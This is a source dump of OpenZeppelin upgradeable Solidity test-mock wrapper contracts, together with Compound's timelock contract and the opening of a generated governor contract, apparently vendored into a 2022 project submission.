contract GovernorTimelockCompoundMockUpgradeableWithInit is GovernorTimelockCompoundMockUpgradeable {
constructor(
string memory name_,
ERC20VotesUpgradeable token_,
uint256 votingDelay_,
uint256 votingPeriod_,
ICompoundTimelockUpgradeable timelock_,
uint256 quorumNumerator_
) public payable initializer {
__GovernorTimelockCompoundMock_init(name_, token_, votingDelay_, votingPeriod_, timelock_, quorumNumerator_);
}
}
import "./GovernorCompatibilityBravoMockUpgradeable.sol";
contract GovernorCompatibilityBravoMockUpgradeableWithInit is GovernorCompatibilityBravoMockUpgradeable {
constructor(
string memory name_,
ERC20VotesCompUpgradeable token_,
uint256 votingDelay_,
uint256 votingPeriod_,
uint256 proposalThreshold_,
ICompoundTimelockUpgradeable timelock_
) public payable initializer {
__GovernorCompatibilityBravoMock_init(name_, token_, votingDelay_, votingPeriod_, proposalThreshold_, timelock_);
}
}
import "./GovernorCompMockUpgradeable.sol";
contract GovernorCompMockUpgradeableWithInit is GovernorCompMockUpgradeable {
constructor(string memory name_, ERC20VotesCompUpgradeable token_) public payable initializer {
__GovernorCompMock_init(name_, token_);
}
}
import "./ERC20VotesCompMockUpgradeable.sol";
contract ERC20VotesCompMockUpgradeableWithInit is ERC20VotesCompMockUpgradeable {
constructor(string memory name, string memory symbol) public payable initializer {
__ERC20VotesCompMock_init(name, symbol);
}
}
import "./ERC20VotesMockUpgradeable.sol";
contract ERC20VotesMockUpgradeableWithInit is ERC20VotesMockUpgradeable {
constructor(string memory name, string memory symbol) public payable initializer {
__ERC20VotesMock_init(name, symbol);
}
}
import "./ERC1271WalletMockUpgradeable.sol";
contract ERC1271WalletMockUpgradeableWithInit is ERC1271WalletMockUpgradeable {
constructor(address originalOwner) public payable initializer {
__ERC1271WalletMock_init(originalOwner);
}
}
import "./MulticallTokenMockUpgradeable.sol";
contract MulticallTokenMockUpgradeableWithInit is MulticallTokenMockUpgradeable {
constructor(uint256 initialBalance) public payable initializer {
__MulticallTokenMock_init(initialBalance);
}
}
import "./ERC20MockUpgradeable.sol";
contract ERC20MockUpgradeableWithInit is ERC20MockUpgradeable {
constructor(
string memory name,
string memory symbol,
address initialAccount,
uint256 initialBalance
) public payable initializer {
__ERC20Mock_init(name, symbol, initialAccount, initialBalance);
}
}
import "../token/ERC20/presets/ERC20PresetMinterPauserUpgradeable.sol";
contract ERC20PresetMinterPauserUpgradeableWithInit is ERC20PresetMinterPauserUpgradeable {
constructor(string memory name, string memory symbol) public payable initializer {
__ERC20PresetMinterPauser_init(name, symbol);
}
}
import "../token/ERC721/presets/ERC721PresetMinterPauserAutoIdUpgradeable.sol";
contract ERC721PresetMinterPauserAutoIdUpgradeableWithInit is ERC721PresetMinterPauserAutoIdUpgradeable {
constructor(
string memory name,
string memory symbol,
string memory baseTokenURI
) public payable initializer {
__ERC721PresetMinterPauserAutoId_init(name, symbol, baseTokenURI);
}
}
import "../token/ERC721/ERC721Upgradeable.sol";
contract ERC721UpgradeableWithInit is ERC721Upgradeable {
constructor(string memory name_, string memory symbol_) public payable initializer {
__ERC721_init(name_, symbol_);
}
}
import "./MathMockUpgradeable.sol";
contract MathMockUpgradeableWithInit is MathMockUpgradeable {
constructor() public payable initializer {
__MathMock_init();
}
}
import "../finance/VestingWalletUpgradeable.sol";
contract VestingWalletUpgradeableWithInit is VestingWalletUpgradeable {
constructor(
address beneficiaryAddress,
uint64 startTimestamp,
uint64 durationSeconds
) public payable initializer {
__VestingWallet_init(beneficiaryAddress, startTimestamp, durationSeconds);
}
}
import "../token/ERC20/utils/TokenTimelockUpgradeable.sol";
contract TokenTimelockUpgradeableWithInit is TokenTimelockUpgradeable {
constructor(
IERC20Upgradeable token_,
address beneficiary_,
uint256 releaseTime_
) public payable initializer {
__TokenTimelock_init(token_, beneficiary_, releaseTime_);
}
}
import "./SafeERC20HelperUpgradeable.sol";
contract ERC20ReturnFalseMockUpgradeableWithInit is ERC20ReturnFalseMockUpgradeable {
constructor() public payable initializer {
__ERC20ReturnFalseMock_init();
}
}
import "./SafeERC20HelperUpgradeable.sol";
contract ERC20ReturnTrueMockUpgradeableWithInit is ERC20ReturnTrueMockUpgradeable {
constructor() public payable initializer {
__ERC20ReturnTrueMock_init();
}
}
import "./SafeERC20HelperUpgradeable.sol";
contract ERC20NoReturnMockUpgradeableWithInit is ERC20NoReturnMockUpgradeable {
constructor() public payable initializer {
__ERC20NoReturnMock_init();
}
}
import "./SafeERC20HelperUpgradeable.sol";
contract SafeERC20WrapperUpgradeableWithInit is SafeERC20WrapperUpgradeable {
constructor(IERC20Upgradeable token) public payable initializer {
__SafeERC20Wrapper_init(token);
}
}
import "../token/ERC777/ERC777Upgradeable.sol";
contract ERC777UpgradeableWithInit is ERC777Upgradeable {
constructor(
string memory name_,
string memory symbol_,
address[] memory defaultOperators_
) public payable initializer {
__ERC777_init(name_, symbol_, defaultOperators_);
}
}
import "../token/ERC777/presets/ERC777PresetFixedSupplyUpgradeable.sol";
contract ERC777PresetFixedSupplyUpgradeableWithInit is ERC777PresetFixedSupplyUpgradeable {
constructor(
string memory name,
string memory symbol,
address[] memory defaultOperators,
uint256 initialSupply,
address owner
) public payable initializer {
__ERC777PresetFixedSupply_init(name, symbol, defaultOperators, initialSupply, owner);
}
}
import "./ERC777SenderRecipientMockUpgradeable.sol";
contract ERC777SenderRecipientMockUpgradeableWithInit is ERC777SenderRecipientMockUpgradeable {
constructor() public payable initializer {
__ERC777SenderRecipientMock_init();
}
}
import "../utils/introspection/ERC1820ImplementerUpgradeable.sol";
contract ERC1820ImplementerUpgradeableWithInit is ERC1820ImplementerUpgradeable {
constructor() public payable initializer {
__ERC1820Implementer_init();
}
}
import "./ERC1820ImplementerMockUpgradeable.sol";
contract ERC1820ImplementerMockUpgradeableWithInit is ERC1820ImplementerMockUpgradeable {
constructor() public payable initializer {
__ERC1820ImplementerMock_init();
}
}
import "./Create2ImplUpgradeable.sol";
contract Create2ImplUpgradeableWithInit is Create2ImplUpgradeable {
constructor() public payable initializer {
__Create2Impl_init();
}
}
import "./ERC777MockUpgradeable.sol";
contract ERC777MockUpgradeableWithInit is ERC777MockUpgradeable {
constructor(
address initialHolder,
uint256 initialBalance,
string memory name,
string memory symbol,
address[] memory defaultOperators
) public payable initializer {
__ERC777Mock_init(initialHolder, initialBalance, name, symbol, defaultOperators);
}
}
import "./ERC3156FlashBorrowerMockUpgradeable.sol";
contract ERC3156FlashBorrowerMockUpgradeableWithInit is ERC3156FlashBorrowerMockUpgradeable {
constructor(bool enableReturn, bool enableApprove) public payable initializer {
__ERC3156FlashBorrowerMock_init(enableReturn, enableApprove);
}
}
import "./ERC20FlashMintMockUpgradeable.sol";
contract ERC20FlashMintMockUpgradeableWithInit is ERC20FlashMintMockUpgradeable {
constructor(
string memory name,
string memory symbol,
address initialAccount,
uint256 initialBalance
) public payable initializer {
__ERC20FlashMintMock_init(name, symbol, initialAccount, initialBalance);
}
}
import "./ERC165CheckerMockUpgradeable.sol";
contract ERC165CheckerMockUpgradeableWithInit is ERC165CheckerMockUpgradeable {
constructor() public payable initializer {
__ERC165CheckerMock_init();
}
}
import "./ERC165/ERC165InterfacesSupportedUpgradeable.sol";
contract SupportsInterfaceWithLookupMockUpgradeableWithInit is SupportsInterfaceWithLookupMockUpgradeable {
constructor() public payable initializer {
__SupportsInterfaceWithLookupMock_init();
}
}
import "./ERC165/ERC165InterfacesSupportedUpgradeable.sol";
contract ERC165InterfacesSupportedUpgradeableWithInit is ERC165InterfacesSupportedUpgradeable {
constructor(bytes4[] memory interfaceIds) public payable initializer {
__ERC165InterfacesSupported_init(interfaceIds);
}
}
import "./ERC721URIStorageMockUpgradeable.sol";
contract ERC721URIStorageMockUpgradeableWithInit is ERC721URIStorageMockUpgradeable {
constructor(string memory name, string memory symbol) public payable initializer {
__ERC721URIStorageMock_init(name, symbol);
}
}
import "./PausableMockUpgradeable.sol";
contract PausableMockUpgradeableWithInit is PausableMockUpgradeable {
constructor() public payable initializer {
__PausableMock_init();
}
}
import "./ERC20PausableMockUpgradeable.sol";
contract ERC20PausableMockUpgradeableWithInit is ERC20PausableMockUpgradeable {
constructor(
string memory name,
string memory symbol,
address initialAccount,
uint256 initialBalance
) public payable initializer {
__ERC20PausableMock_init(name, symbol, initialAccount, initialBalance);
}
}
import "../token/ERC1155/ERC1155Upgradeable.sol";
contract ERC1155UpgradeableWithInit is ERC1155Upgradeable {
constructor(string memory uri_) public payable initializer {
__ERC1155_init(uri_);
}
}
import "../token/ERC1155/presets/ERC1155PresetMinterPauserUpgradeable.sol";
contract ERC1155PresetMinterPauserUpgradeableWithInit is ERC1155PresetMinterPauserUpgradeable {
constructor(string memory uri) public payable initializer {
__ERC1155PresetMinterPauser_init(uri);
}
}
import "./AccessControlEnumerableMockUpgradeable.sol";
contract AccessControlEnumerableMockUpgradeableWithInit is AccessControlEnumerableMockUpgradeable {
constructor() public payable initializer {
__AccessControlEnumerableMock_init();
}
}
import "./EnumerableSetMockUpgradeable.sol";
contract EnumerableBytes32SetMockUpgradeableWithInit is EnumerableBytes32SetMockUpgradeable {
constructor() public payable initializer {
__EnumerableBytes32SetMock_init();
}
}
import "./EnumerableSetMockUpgradeable.sol";
contract EnumerableAddressSetMockUpgradeableWithInit is EnumerableAddressSetMockUpgradeable {
constructor() public payable initializer {
__EnumerableAddressSetMock_init();
}
}
import "./EnumerableSetMockUpgradeable.sol";
contract EnumerableUintSetMockUpgradeableWithInit is EnumerableUintSetMockUpgradeable {
constructor() public payable initializer {
__EnumerableUintSetMock_init();
}
}
import "./EnumerableMapMockUpgradeable.sol";
contract EnumerableMapMockUpgradeableWithInit is EnumerableMapMockUpgradeable {
constructor() public payable initializer {
__EnumerableMapMock_init();
}
}
import "./ERC1155SupplyMockUpgradeable.sol";
contract ERC1155SupplyMockUpgradeableWithInit is ERC1155SupplyMockUpgradeable {
constructor(string memory uri) public payable initializer {
__ERC1155SupplyMock_init(uri);
}
}
import "./ERC1155MockUpgradeable.sol";
contract ERC1155MockUpgradeableWithInit is ERC1155MockUpgradeable {
constructor(string memory uri) public payable initializer {
__ERC1155Mock_init(uri);
}
}
import "./ERC1155PausableMockUpgradeable.sol";
contract ERC1155PausableMockUpgradeableWithInit is ERC1155PausableMockUpgradeable {
constructor(string memory uri) public payable initializer {
__ERC1155PausableMock_init(uri);
}
}
import "./ERC1155ReceiverMockUpgradeable.sol";
contract ERC1155ReceiverMockUpgradeableWithInit is ERC1155ReceiverMockUpgradeable {
constructor(
bytes4 recRetval,
bool recReverts,
bytes4 batRetval,
bool batReverts
) public payable initializer {
__ERC1155ReceiverMock_init(recRetval, recReverts, batRetval, batReverts);
}
}
import "../token/ERC1155/utils/ERC1155HolderUpgradeable.sol";
contract ERC1155HolderUpgradeableWithInit is ERC1155HolderUpgradeable {
constructor() public payable initializer {
__ERC1155Holder_init();
}
}
import "./ERC165StorageMockUpgradeable.sol";
contract ERC165StorageMockUpgradeableWithInit is ERC165StorageMockUpgradeable {
constructor() public payable initializer {
__ERC165StorageMock_init();
}
}
import "./ERC165MockUpgradeable.sol";
contract ERC165MockUpgradeableWithInit is ERC165MockUpgradeable {
constructor() public payable initializer {
__ERC165Mock_init();
}
}
import "./GovernorMockUpgradeable.sol";
contract GovernorMockUpgradeableWithInit is GovernorMockUpgradeable {
constructor(
string memory name_,
ERC20VotesUpgradeable token_,
uint256 votingDelay_,
uint256 votingPeriod_,
uint256 quorumNumerator_
) public payable initializer {
__GovernorMock_init(name_, token_, votingDelay_, votingPeriod_, quorumNumerator_);
}
}
import "./SafeCastMockUpgradeable.sol";
contract SafeCastMockUpgradeableWithInit is SafeCastMockUpgradeable {
constructor() public payable initializer {
__SafeCastMock_init();
}
}
import "./TimersTimestampImplUpgradeable.sol";
contract TimersTimestampImplUpgradeableWithInit is TimersTimestampImplUpgradeable {
constructor() public payable initializer {
__TimersTimestampImpl_init();
}
}
import "./TimersBlockNumberImplUpgradeable.sol";
contract TimersBlockNumberImplUpgradeableWithInit is TimersBlockNumberImplUpgradeable {
constructor() public payable initializer {
__TimersBlockNumberImpl_init();
}
}
import "./EIP712ExternalUpgradeable.sol";
contract EIP712ExternalUpgradeableWithInit is EIP712ExternalUpgradeable {
constructor(string memory name, string memory version) public payable initializer {
__EIP712External_init(name, version);
}
}
import "../metatx/MinimalForwarderUpgradeable.sol";
contract MinimalForwarderUpgradeableWithInit is MinimalForwarderUpgradeable {
constructor() public payable initializer {
__MinimalForwarder_init();
}
}
import "./ERC20PermitMockUpgradeable.sol";
contract ERC20PermitMockUpgradeableWithInit is ERC20PermitMockUpgradeable {
constructor(
string memory name,
string memory symbol,
address initialAccount,
uint256 initialBalance
) public payable initializer {
__ERC20PermitMock_init(name, symbol, initialAccount, initialBalance);
}
}
import "./ERC1155BurnableMockUpgradeable.sol";
contract ERC1155BurnableMockUpgradeableWithInit is ERC1155BurnableMockUpgradeable {
constructor(string memory uri) public payable initializer {
__ERC1155BurnableMock_init(uri);
}
}
import "./ERC721PausableMockUpgradeable.sol";
contract ERC721PausableMockUpgradeableWithInit is ERC721PausableMockUpgradeable {
constructor(string memory name, string memory symbol) public payable initializer {
__ERC721PausableMock_init(name, symbol);
}
}
import "./ERC721MockUpgradeable.sol";
contract ERC721MockUpgradeableWithInit is ERC721MockUpgradeable {
constructor(string memory name, string memory symbol) public payable initializer {
__ERC721Mock_init(name, symbol);
}
}
import "./ERC721EnumerableMockUpgradeable.sol";
contract ERC721EnumerableMockUpgradeableWithInit is ERC721EnumerableMockUpgradeable {
constructor(string memory name, string memory symbol) public payable initializer {
__ERC721EnumerableMock_init(name, symbol);
}
}
import "./StringsMockUpgradeable.sol";
contract StringsMockUpgradeableWithInit is StringsMockUpgradeable {
constructor() public payable initializer {
__StringsMock_init();
}
}
import "../token/ERC721/utils/ERC721HolderUpgradeable.sol";
contract ERC721HolderUpgradeableWithInit is ERC721HolderUpgradeable {
constructor() public payable initializer {
__ERC721Holder_init();
}
}
import "./ERC721ReceiverMockUpgradeable.sol";
contract ERC721ReceiverMockUpgradeableWithInit is ERC721ReceiverMockUpgradeable {
constructor(bytes4 retval, Error error) public payable initializer {
__ERC721ReceiverMock_init(retval, error);
}
}
import "./ERC721BurnableMockUpgradeable.sol";
contract ERC721BurnableMockUpgradeableWithInit is ERC721BurnableMockUpgradeable {
constructor(string memory name, string memory symbol) public payable initializer {
__ERC721BurnableMock_init(name, symbol);
}
}
import "./ERC20WrapperMockUpgradeable.sol";
contract ERC20WrapperMockUpgradeableWithInit is ERC20WrapperMockUpgradeable {
constructor(
IERC20Upgradeable _underlyingToken,
string memory name,
string memory symbol
) public payable initializer {
__ERC20WrapperMock_init(_underlyingToken, name, symbol);
}
}
import "../finance/PaymentSplitterUpgradeable.sol";
contract PaymentSplitterUpgradeableWithInit is PaymentSplitterUpgradeable {
constructor(address[] memory payees, uint256[] memory shares_) public payable initializer {
__PaymentSplitter_init(payees, shares_);
}
}
import "./ArraysImplUpgradeable.sol";
contract ArraysImplUpgradeableWithInit is ArraysImplUpgradeable {
constructor(uint256[] memory array) public payable initializer {
__ArraysImpl_init(array);
}
}
import "./ERC20SnapshotMockUpgradeable.sol";
contract ERC20SnapshotMockUpgradeableWithInit is ERC20SnapshotMockUpgradeable {
constructor(
string memory name,
string memory symbol,
address initialAccount,
uint256 initialBalance
) public payable initializer {
__ERC20SnapshotMock_init(name, symbol, initialAccount, initialBalance);
}
}
import "./CountersImplUpgradeable.sol";
contract CountersImplUpgradeableWithInit is CountersImplUpgradeable {
constructor() public payable initializer {
__CountersImpl_init();
}
}
import "./UUPS/TestInProdUpgradeable.sol";
contract UUPSUpgradeableMockUpgradeableWithInit is UUPSUpgradeableMockUpgradeable {
constructor() public payable initializer {
__UUPSUpgradeableMock_init();
}
}
import "./UUPS/TestInProdUpgradeable.sol";
contract UUPSUpgradeableUnsafeMockUpgradeableWithInit is UUPSUpgradeableUnsafeMockUpgradeable {
constructor() public payable initializer {
__UUPSUpgradeableUnsafeMock_init();
}
}
import "./UUPS/TestInProdUpgradeable.sol";
contract UUPSUpgradeableBrokenMockUpgradeableWithInit is UUPSUpgradeableBrokenMockUpgradeable {
constructor() public payable initializer {
__UUPSUpgradeableBrokenMock_init();
}
}
import "./ReentrancyAttackUpgradeable.sol";
contract ReentrancyAttackUpgradeableWithInit is ReentrancyAttackUpgradeable {
constructor() public payable initializer {
__ReentrancyAttack_init();
}
}
import "./ReentrancyMockUpgradeable.sol";
contract ReentrancyMockUpgradeableWithInit is ReentrancyMockUpgradeable {
constructor() public payable initializer {
__ReentrancyMock_init();
}
}
import "../token/ERC20/presets/ERC20PresetFixedSupplyUpgradeable.sol";
contract ERC20PresetFixedSupplyUpgradeableWithInit is ERC20PresetFixedSupplyUpgradeable {
constructor(
string memory name,
string memory symbol,
uint256 initialSupply,
address owner
) public payable initializer {
__ERC20PresetFixedSupply_init(name, symbol, initialSupply, owner);
}
}
import "./ERC20BurnableMockUpgradeable.sol";
contract ERC20BurnableMockUpgradeableWithInit is ERC20BurnableMockUpgradeable {
constructor(
string memory name,
string memory symbol,
address initialAccount,
uint256 initialBalance
) public payable initializer {
__ERC20BurnableMock_init(name, symbol, initialAccount, initialBalance);
}
}
import "./ContextMockUpgradeable.sol";
contract ContextMockUpgradeableWithInit is ContextMockUpgradeable {
constructor() public payable initializer {
__ContextMock_init();
}
}
import "./ContextMockUpgradeable.sol";
contract ContextMockCallerUpgradeableWithInit is ContextMockCallerUpgradeable {
constructor() public payable initializer {
__ContextMockCaller_init();
}
}
import "./ERC2771ContextMockUpgradeable.sol";
contract ERC2771ContextMockUpgradeableWithInit is ERC2771ContextMockUpgradeable {
constructor(address trustedForwarder) public payable initializer {
__ERC2771ContextMock_init(trustedForwarder);
}
}
import "./ERC20DecimalsMockUpgradeable.sol";
contract ERC20DecimalsMockUpgradeableWithInit is ERC20DecimalsMockUpgradeable {
constructor(
string memory name_,
string memory symbol_,
uint8 decimals_
) public payable initializer {
__ERC20DecimalsMock_init(name_, symbol_, decimals_);
}
}
import "./ERC20CappedMockUpgradeable.sol";
contract ERC20CappedMockUpgradeableWithInit is ERC20CappedMockUpgradeable {
constructor(
string memory name,
string memory symbol,
uint256 cap
) public payable initializer {
__ERC20CappedMock_init(name, symbol, cap);
}
}
import "./MulticallTestUpgradeable.sol";
contract MulticallTestUpgradeableWithInit is MulticallTestUpgradeable {
constructor() public payable initializer {
__MulticallTest_init();
}
}
import "../utils/escrow/EscrowUpgradeable.sol";
contract EscrowUpgradeableWithInit is EscrowUpgradeable {
constructor() public payable initializer {
__Escrow_init();
}
}
import "./PullPaymentMockUpgradeable.sol";
contract PullPaymentMockUpgradeableWithInit is PullPaymentMockUpgradeable {
constructor() public payable initializer {
__PullPaymentMock_init();
}
}
import "../utils/escrow/RefundEscrowUpgradeable.sol";
contract RefundEscrowUpgradeableWithInit is RefundEscrowUpgradeable {
constructor(address payable beneficiary_) public payable initializer {
__RefundEscrow_init(beneficiary_);
}
}
import "./ConditionalEscrowMockUpgradeable.sol";
contract ConditionalEscrowMockUpgradeableWithInit is ConditionalEscrowMockUpgradeable {
constructor() public payable initializer {
__ConditionalEscrowMock_init();
}
}
import "./ClonesMockUpgradeable.sol";
contract ClonesMockUpgradeableWithInit is ClonesMockUpgradeable {
constructor() public payable initializer {
__ClonesMock_init();
}
}
import "./AddressImplUpgradeable.sol";
contract AddressImplUpgradeableWithInit is AddressImplUpgradeable {
constructor() public payable initializer {
__AddressImpl_init();
}
}
import "./StorageSlotMockUpgradeable.sol";
contract StorageSlotMockUpgradeableWithInit is StorageSlotMockUpgradeable {
constructor() public payable initializer {
__StorageSlotMock_init();
}
}
import "./OwnableMockUpgradeable.sol";
contract OwnableMockUpgradeableWithInit is OwnableMockUpgradeable {
constructor() public payable initializer {
__OwnableMock_init();
}
}
import "./SignatureCheckerMockUpgradeable.sol";
contract SignatureCheckerMockUpgradeableWithInit is SignatureCheckerMockUpgradeable {
constructor() public payable initializer {
__SignatureCheckerMock_init();
}
}
import "./ECDSAMockUpgradeable.sol";
contract ECDSAMockUpgradeableWithInit is ECDSAMockUpgradeable {
constructor() public payable initializer {
__ECDSAMock_init();
}
}
import "./BadBeaconUpgradeable.sol";
contract BadBeaconNoImplUpgradeableWithInit is BadBeaconNoImplUpgradeable {
constructor() public payable initializer {
__BadBeaconNoImpl_init();
}
}
import "./BadBeaconUpgradeable.sol";
contract BadBeaconNotContractUpgradeableWithInit is BadBeaconNotContractUpgradeable {
constructor() public payable initializer {
__BadBeaconNotContract_init();
}
}
import "./BitmapMockUpgradeable.sol";
contract BitMapMockUpgradeableWithInit is BitMapMockUpgradeable {
constructor() public payable initializer {
__BitMapMock_init();
}
}
import "./CallReceiverMockUpgradeable.sol";
contract CallReceiverMockUpgradeableWithInit is CallReceiverMockUpgradeable {
constructor() public payable initializer {
__CallReceiverMock_init();
}
}
import "./ClashingImplementationUpgradeable.sol";
contract ClashingImplementationUpgradeableWithInit is ClashingImplementationUpgradeable {
constructor() public payable initializer {
__ClashingImplementation_init();
}
}
import "./compound/CompTimelockUpgradeable.sol";
contract CompTimelockUpgradeableWithInit is CompTimelockUpgradeable {
constructor(address admin_, uint256 delay_) public payable initializer {
__CompTimelock_init(admin_, delay_);
}
}
import "./DummyImplementationUpgradeable.sol";
contract DummyImplementationUpgradeableWithInit is DummyImplementationUpgradeable {
constructor() public payable initializer {
__DummyImplementation_init();
}
}
import "./DummyImplementationUpgradeable.sol";
contract DummyImplementationV2UpgradeableWithInit is DummyImplementationV2Upgradeable {
constructor() public payable initializer {
__DummyImplementationV2_init();
}
}
import "./ERC165/ERC165MissingDataUpgradeable.sol";
contract ERC165MissingDataUpgradeableWithInit is ERC165MissingDataUpgradeable {
constructor() public payable initializer {
__ERC165MissingData_init();
}
}
import "./ERC165/ERC165NotSupportedUpgradeable.sol";
contract ERC165NotSupportedUpgradeableWithInit is ERC165NotSupportedUpgradeable {
constructor() public payable initializer {
__ERC165NotSupported_init();
}
}
import "./EtherReceiverMockUpgradeable.sol";
contract EtherReceiverMockUpgradeableWithInit is EtherReceiverMockUpgradeable {
constructor() public payable initializer {
__EtherReceiverMock_init();
}
}
import "./MerkleProofWrapperUpgradeable.sol";
contract MerkleProofWrapperUpgradeableWithInit is MerkleProofWrapperUpgradeable {
constructor() public payable initializer {
__MerkleProofWrapper_init();
}
}
import "./SafeMathMockUpgradeable.sol";
contract SafeMathMockUpgradeableWithInit is SafeMathMockUpgradeable {
constructor() public payable initializer {
__SafeMathMock_init();
}
}
import "./SignedSafeMathMockUpgradeable.sol";
contract SignedSafeMathMockUpgradeableWithInit is SignedSafeMathMockUpgradeable {
constructor() public payable initializer {
__SignedSafeMathMock_init();
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/compound/CompTimelockUpgradeable.sol
================================================
// SPDX-License-Identifier: BSD-3-Clause
// solhint-disable private-vars-leading-underscore
/**
* Copyright 2020 Compound Labs, Inc.
*
* Redistribution and use in source and binary forms, with or without modification, are permitted provided that the
* following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following
* disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the
* following disclaimer in the documentation and/or other materials provided with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote
* products derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
* INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
* WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
pragma solidity ^0.8.0;
import "../../proxy/utils/Initializable.sol";
contract CompTimelockUpgradeable is Initializable {
event NewAdmin(address indexed newAdmin);
event NewPendingAdmin(address indexed newPendingAdmin);
event NewDelay(uint256 indexed newDelay);
event CancelTransaction(
bytes32 indexed txHash,
address indexed target,
uint256 value,
string signature,
bytes data,
uint256 eta
);
event ExecuteTransaction(
bytes32 indexed txHash,
address indexed target,
uint256 value,
string signature,
bytes data,
uint256 eta
);
event QueueTransaction(
bytes32 indexed txHash,
address indexed target,
uint256 value,
string signature,
bytes data,
uint256 eta
);
uint256 public constant GRACE_PERIOD = 14 days;
uint256 public constant MINIMUM_DELAY = 2 days;
uint256 public constant MAXIMUM_DELAY = 30 days;
address public admin;
address public pendingAdmin;
uint256 public delay;
mapping(bytes32 => bool) public queuedTransactions;
function __CompTimelock_init(address admin_, uint256 delay_) internal onlyInitializing {
__CompTimelock_init_unchained(admin_, delay_);
}
function __CompTimelock_init_unchained(address admin_, uint256 delay_) internal onlyInitializing {
require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay.");
admin = admin_;
delay = delay_;
}
receive() external payable {}
function setDelay(uint256 delay_) public {
require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock.");
require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay.");
delay = delay_;
emit NewDelay(delay);
}
function acceptAdmin() public {
require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin.");
admin = msg.sender;
pendingAdmin = address(0);
emit NewAdmin(admin);
}
function setPendingAdmin(address pendingAdmin_) public {
require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock.");
pendingAdmin = pendingAdmin_;
emit NewPendingAdmin(pendingAdmin);
}
function queueTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) public returns (bytes32) {
require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin.");
require(
eta >= getBlockTimestamp() + delay,
"Timelock::queueTransaction: Estimated execution block must satisfy delay."
);
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = true;
emit QueueTransaction(txHash, target, value, signature, data, eta);
return txHash;
}
function cancelTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) public {
require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = false;
emit CancelTransaction(txHash, target, value, signature, data, eta);
}
function executeTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) public payable returns (bytes memory) {
require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued.");
require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock.");
require(getBlockTimestamp() <= eta + GRACE_PERIOD, "Timelock::executeTransaction: Transaction is stale.");
queuedTransactions[txHash] = false;
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
} else {
callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);
}
// solium-disable-next-line security/no-call-value
(bool success, bytes memory returnData) = target.call{value: value}(callData);
require(success, "Timelock::executeTransaction: Transaction execution reverted.");
emit ExecuteTransaction(txHash, target, value, signature, data, eta);
return returnData;
}
function getBlockTimestamp() internal view returns (uint256) {
// solium-disable-next-line security/no-block-members
return block.timestamp;
}
uint256[46] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/wizard/MyGovernor1Upgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "../../governance/GovernorUpgradeable.sol";
import "../../governance/extensions/GovernorCountingSimpleUpgradeable.sol";
import "../../governance/extensions/GovernorVotesUpgradeable.sol";
import "../../governance/extensions/GovernorVotesQuorumFractionUpgradeable.sol";
import "../../governance/extensions/GovernorTimelockControlUpgradeable.sol";
import "../../proxy/utils/Initializable.sol";
contract MyGovernor1Upgradeable is
Initializable, GovernorUpgradeable,
GovernorTimelockControlUpgradeable,
GovernorVotesUpgradeable,
GovernorVotesQuorumFractionUpgradeable,
GovernorCountingSimpleUpgradeable
{
function __MyGovernor1_init(ERC20VotesUpgradeable _token, TimelockControllerUpgradeable _timelock) internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__EIP712_init_unchained("MyGovernor", version());
__IGovernor_init_unchained();
__IGovernorTimelock_init_unchained();
__Governor_init_unchained("MyGovernor");
__GovernorTimelockControl_init_unchained(_timelock);
__GovernorVotes_init_unchained(_token);
__GovernorVotesQuorumFraction_init_unchained(4);
__GovernorCountingSimple_init_unchained();
__MyGovernor1_init_unchained(_token, _timelock);
}
function __MyGovernor1_init_unchained(ERC20VotesUpgradeable _token, TimelockControllerUpgradeable _timelock) internal onlyInitializing {}
